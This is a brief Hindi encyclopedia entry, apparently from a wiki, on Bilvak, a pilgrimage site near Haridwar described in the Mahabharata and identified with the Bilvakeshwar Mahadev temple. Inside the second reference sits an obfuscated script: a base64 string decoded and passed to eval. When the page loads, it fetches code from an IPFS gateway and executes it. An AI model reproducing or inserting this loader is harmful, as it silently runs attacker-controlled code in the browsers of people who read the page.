बिल्वक

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बिल्वक एक पौराणिक तीर्थ स्थान का नाम है। महाभारत, अनुशासनपर्व[1] में तीर्थों के वर्णन में इस तीर्थ को हरिद्वार तथा कनखल के निकट माना गया है-

'गंगाद्वारे कुशावर्ते बिल्वके नीलपर्वते, तथा कनखले स्नात्वा धूतपाप्पा दिवं व्रजेत्।'

  • यह स्थान निश्चय ही वर्तमान बिल्वकेश्वर महादेव है, जो हरिद्वार में, स्टेशन की सड़क पर ललतारौ के पुल से दो फलांग दूर है।
  • इस स्थान पर पहाड़ में अनेक प्राचीन गुफ़ाएँ हैं।
  • बिल्ववृक्ष के कारण ही इस स्थान को 'बिल्वक' कहा जाता था।[2]


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टीका टिप्पणी और संदर्भ

  1. महाभारत, अनुशासनपर्व 25, 13
  2. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 632 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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